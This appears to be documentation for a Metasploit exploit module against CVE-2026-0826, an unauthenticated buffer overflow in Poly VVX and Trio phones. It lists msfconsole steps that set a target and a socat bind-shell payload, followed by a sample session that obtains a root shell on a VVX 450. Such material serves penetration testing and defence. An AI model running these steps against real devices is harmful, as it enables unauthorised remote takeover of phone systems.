## Vulnerable Application
CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting all
models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP
Conference series (Trio 8800, Trio 8500, and Trio 8300). A remote attacker can leverage CVE-2026-0826 to achieve
unauthenticated remote code execution (RCE) with root privileges on a target device. The vulnerability is present
in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment
(ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a
remote attacker.

## Verification Steps

1. Start msfconsole
2. `use exploit/linux/misc/poly_unauth_rce_cve_2026_0826`

Configure the target:

3. `set RHOST <TARGET_IP_ADDRESS>`

Configure the payload (This defaults to `cmd/unix/bind_socat_tcp`):

4. `set PAYLOAD cmd/unix/bind_socat_tcp`
5. `set LPORT 4444`

You can check if the target is vulnerable.

6. `check`

Exploit the vulnerability and get a root shell.

7. `exploit`

## Scenarios

### Example 1

Exploiting an HP Poly VVX 450 device running version `6.4.7.4477`.

```
msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > set RHOST 192.168.86.80
RHOST => 192.168.86.80
msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > show options 

Module options (exploit/linux/misc/poly_unauth_rce_cve_2026_0826):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.86.80    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   5060             yes       The target port (UDP)


Payload options (cmd/unix/bind_socat_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  192.168.86.80    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > check
[*] 192.168.86.80:5060 - The service is running, but could not be validated. Poly VVX_450 version 6.4.7.4477
msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > exploit 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Poly VVX_450 version 6.4.7.4477
[*] Started bind TCP handler against 192.168.86.80:4444
[*] Command shell session 1 opened (192.168.86.122:33875 -> 192.168.86.80:4444) at 2026-06-02 11:59:28 +0100

id
uid=0(root) gid=0(root)
date
Tue Jun  2 11:59:30 UTC 2026
uname -a
Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown
pwd
/ffs0
exit
[*] 192.168.86.80 - Command shell session 1 closed.
```
